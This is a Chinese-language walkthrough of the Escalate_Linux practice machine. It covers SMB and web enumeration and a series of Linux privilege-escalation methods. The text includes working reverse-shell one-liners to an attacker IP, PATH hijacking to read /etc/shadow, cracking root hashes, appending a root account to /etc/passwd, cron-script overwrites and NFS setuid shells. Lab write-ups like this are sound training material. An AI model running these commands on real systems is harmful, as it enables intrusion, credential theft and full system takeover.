Escalate_Linux靶机

embedded/2024/12/25 8:21:51/

Escalate_Linux靶机

前言:集合了多种liunx提权方法的靶场,通过该靶场可以简单的了解liunx提权方法

1,扫描一下端口

80/tcp open http

111/tcp open rpc 2049/udp nfs要知道对方的共享才能挂载

139/445 Samba

SMB是一个协议名,全称是Server Message Block(服务器消息快协议),用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。一般共享文件夹和打印机使用较多 它是应用层(和表示层)协议,使用C/S架构

当远程连接计算机访问共享资源时有两种方式: 
1.        \\共享计算机地址\共IP享资源路径
2.        \\共享计算机名\共享资源路径

smb的默认端口可能是139或者445,其工作的端口与其使用的协议有关。

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。

smbclient 是一个在Unix/Linux系统中的一个应用程序,它允许用户以类似于 ftp 的方式访问Windows系统上的 共享资源。它是Samba 软件 套件的一部分,可以让Linux系统与 Windows系统 进行网络共享。

-L

列出服务器上的共享资源

-N

不需要密码

-U

指定用户名

-W

指定工作组

-d

指定调试级别

smbclient ///要访问的文件名 -I ip -N

这条路走不通换一条

像这种初始页面是没有什么东西的,进行目录爆破

这爆出来的没什么用,像这种情况换字典或者模糊测试

apache 不会解析asp/aspx(iis)这种是iis的站

http请求→中间件→框架→数据库

在页面或者一些tcp请求:

中间件→: 暴露在外网的

数据库:内网(服务器)

站库分离

apache+php+mysql

apache,tomcat , nginx , IIs7.0以上

wfuzz最方便

dirb

-X .php .html .asp 指定文件后缀爆破

菜刀(不到1mb)→蚁剑→冰蝎,哥斯拉

冰蝎可以做一些加密和混淆shell,常见的waf检测不出来,是免杀和绕过最好的

哥斯拉利于管理,也有一些免杀

使用which 测试对方有没有python

进行反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import pty; pty.spawn("/bin/bash")'

稳定shell

在本机下载LinEnum

GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

然后在kali上开启http服务,然后让目标下载下来

给权限

之后在tmp目录下启动,因为tmp目录权限大

还有一个linpeas.sh和上面的一样操作方法下载下来

然后给权限,进行执行./linpeas.sh和./linpeas.sh

history(历史命令)

存放了历史命令,如果出现了whoami uname -a 大概率就是被人打进来了

内网信息收集:

linpeas:不存在内核漏洞,因为它都没变红

1,每5分钟去执行一次这个脚本

与本地建立的链接也看的到

2,3306端口

3,用户信息

uid,gid和groups是可以提权的

信息泄露

5,nfs挂载权限问题,前面有no没有开启安全功能,可以在共享的功能底下去互相传输

6,这个文件有root权限

7,root文件信息(疑似可提权目录)

/var/mysql(已发现)

script(ls)

abc.txt(空文件)

shell(.sh执行bash -i)

.script.sh(已利用)

.bash_history ,历史记录中有进攻的提示!

/etc/crontab

收集好信息准备提权

1,user3

有一个shell文件,用ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{setuid(0);setgid(0);system("./.script.sh");return 0;
}

调用的是.script.sh

应该在当前目录下,如果不在用find / -name .script.sh 2>dev/null

查找

调用了bash -i

1,suid提权

运行就获取到了root权限

2,user5

它下面有应该script文件

源码

int __cdecl main(int argc, const char **argv, const char **envp)
{setuid(0);setgid(0);system("ls");return 0;
}

可以使用PATH赋权执行命令

export PATH=/tmp:$PATH,当前只需要执行ls命令,就会调用tmp目录下的文件去执行!

ls一般是在/etc/ls这里

现在设置成了全局变量

本身ls是在/etc/ls这里的

在tmp目录创建ls文件。

全局变量调用/tmp/ls

执行script就会执行ls,就会执行tmp的ls

就拿到root权限了!

3,暴力破解

目录枚举爆破

/etc/shadow ——存放密匙信息

没有权限去看的

借鉴方法2,进行查看

echo 'cat /etc/shadow' > ls
chmod 777 ls
export PATH=/tmp:$PATH
./script

使用hash-identifier进行读取

这个值是可以爆破的

爆破要的值要全选,包括前面的用户名

爆破的存放在john下面了

root:12345

4,user4 计划任务

每5分钟执行一次 /home/user4/Desktop/autoscript.sh

也bash -i

只有user4才能执行

两个方法,一暴力破解或者信息枚举,二可以用ls也可以用.sh

chpasswd —-

echo 'echo user4:12345 | chpasswd' > ls

user4的密码就被覆盖了

没有执行成功,因为里面的bash -i 是写进去的,覆盖掉就可以了

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.128 6666 >/tmp/f' > autoscript.sh

进行nc反弹

成功

5,mysql

mysql -uroot -proot

看库

use user 进入库

然后看一下表

查看表信息

mysql mysql@12345

显示没有权限,uid和gid都是mysql,这种时候给它一个权限

信息泄露

6,user8

如果mysql没有user8的信息泄露,还可以用ls和.sh进行覆盖密码进入。

root权限进入vi,没有任何编辑就可以执行任何命令

(root)NOPASSWD:/usr/bin/vi

7,user7

user7是gid为0的root组的成员!

openssl passwd dayuxiyou

echo "dayu:BKStJ5AmLV5aA:0:0:root:/root:/bin/bash" >>/etc/passwd

8,和方法7一样,user4 group也有root

9,nfs user5

no_root_squash —-关闭了安全功能

/home/user5 *w,no_root_squash)

mount -t nfs 192.168.0.134:/home/user5 /tmp/dayu

df看系统有没有挂载

unmount /tmp/dayu 结束,要退出当前目录

目录是共享状态

缺少文件

写一个通用的shell

#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }

将其写入shell.c文件

gcc编译一下之后执行就可以拿到root权限了

10,user2

(user1)ALL 可以sudo -u user1 /bin/bash

(root)ALL 括号有root就有root的全部权限

进入user1

然后sudo -l 然后sudo su

总结:一个集合了多种提权方法的靶场


http://www.ppmy.cn/embedded/148570.html

相关文章

如何编译Opencv +ffmpeg linux 明明安装了ffmpeg但是opencv就是找不到

想要编译opencvffmpeg&#xff1a; 1.安装ffmpeg 随便位置&#xff08;具体看ffmpeg 编译安装&#xff09; 执行下面命令&#xff0c;其中/usr/local/ffmpeg/lib/pkgconfig是你实际的ffmpeg路径 export PKG_CONFIG_PATH$PKG_CONFIG_PATH:/usr/local/ffmpeg/lib/pkgconfig2.下载…

基于Spring Boot的建材租赁系统

一、系统背景与目的 随着建筑行业的快速发展&#xff0c;建材租赁需求日益增加。传统的建材租赁管理方式大多依赖于纸质文档或简单的电子表格&#xff0c;不仅效率低下&#xff0c;还容易出现信息遗漏和错误。为了解决这些问题&#xff0c;基于Spring Boot的建材租赁系统应运而…

游戏引擎学习第55天

仓库: https://gitee.com/mrxiao_com/2d_game 介绍 今天的主题是让世界存储真正实现稀疏化&#xff0c;即便当前效率可能并不高。我们计划花一些时间处理这个问题&#xff0c;并探讨相关的成本。稀疏化世界存储是接下来的重要步骤&#xff0c;为此需要逐步实施。 修复 SetCa…

【开源免费】基于SpringBoot+Vue.JS靓车汽车销售网站(JAVA毕业设计)

本文项目编号 T 093 &#xff0c;文末自助获取源码 \color{red}{T093&#xff0c;文末自助获取源码} T093&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…

手动修改nginx-rtmp模块,让nginx-rtmp-module支持LLHLS

文章目录 1. 背景2. 开发环境搭建2.1 ffmpeg在ubuntu上安装2.2 nginx-rtmp-module在ubuntu上安装2.3 安装vscode环境2. 修改nginx-rtmp-module2.1 主要更新内容2.2 新增配置项2.3 代码更新3. LLHLS验证方法3.1 配置验证3.2 功能验证4. 注意事项5. 已知问题6. 后续计划1. 背景 …

代码随想录 day52 第十一章 图论part03

title: 代码随想录 day52 第十一章 图论part03 date: 2024-12-23 01:35:07 modificationDate: 2024 十二月 23日 星期一 01:35:07 categories: - carl tags: [] sticky: [] hide: false category_bar: true 第十一章&#xff1a;图论part03 101. 孤岛的总面积 基础题目 可以…

HAPTION Virtuose 3D RV力反馈设备

Virtuose 3D RV是6D触觉设备&#xff0c;这意味着它支持所有包含平移和旋转的自由度的运动。基于Virtuose 6D RV的结构&#xff0c;Virtuose 3D RV能提供相同的工作空间和相同水平的力反馈。Virtuose 3D RV的力反馈只发生在3个平移上&#xff0c;因此得名。 Virtuose 3D RV适用…

CV-OCR经典论文解读|An Empirical Study of Scaling Law for OCR/OCR 缩放定律的实证研究

论文标题 An Empirical Study of Scaling Law for OCR OCR 缩放定律的实证研究 论文链接&#xff1a; An Empirical Study of Scaling Law for OCR论文下载 论文作者 Miao Rang, Zhenni Bi, Chuanjian Liu, Yunhe Wang, Kai Han 内容简介 本论文在光学字符识别&#xf…